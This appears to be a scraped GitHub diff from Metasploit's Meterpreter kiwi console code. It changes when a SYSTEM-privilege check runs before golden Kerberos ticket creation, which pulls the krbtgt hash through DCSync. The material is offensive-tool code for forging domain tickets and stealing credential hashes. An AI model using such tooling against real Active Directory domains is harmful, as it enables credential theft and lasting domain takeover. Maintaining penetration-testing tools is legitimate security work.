File tree Expand file tree Collapse file tree 1 file changed +4
-3
lines changed
lib/rex/post/meterpreter/ui/console/command_dispatcher Expand file tree Collapse file tree 1 file changed +4
-3
lines changed Original file line number Diff line number Diff line change @@ -166,7 +166,6 @@ def golden_ticket_create_usage
166
166
# Invoke the golden kerberos ticket creation functionality on the target.
167
167
#
168
168
def cmd_golden_ticket_create ( *args )
169
- return unless check_is_domain_user
170
169
171
170
if args . include? ( "-h" )
172
171
golden_ticket_create_usage
@@ -210,6 +209,8 @@ def cmd_golden_ticket_create(*args)
210
209
211
210
# is anything else missing?
212
211
unless opts [ :domain_sid ] && opts [ :krbtgt_hash ]
212
+ return unless check_is_domain_user ( 'Unable to run module as SYSTEM unless krbtgt and domain sid are provided' )
213
+
213
214
# let's go discover it
214
215
krbtgt_username = opts [ :user ] . split ( '\\' ) [ 0 ] + '\\krbtgt'
215
216
dcsync_result = client . kiwi . dcsync_ntlm ( krbtgt_username )
@@ -400,9 +401,9 @@ def cmd_creds_kerberos(*args)
400
401
401
402
protected
402
403
403
- def check_is_domain_user
404
+ def check_is_domain_user ( msg = 'Running as SYSTEM, function will not work.' )
404
405
if client . sys . config . is_system?
405
- print_warning ( 'Running as SYSTEM, function will not work.' )
406
+ print_warning ( msg )
406
407
return false
407
408
end
408
409
You can’t perform that action at this time.
0 commit comments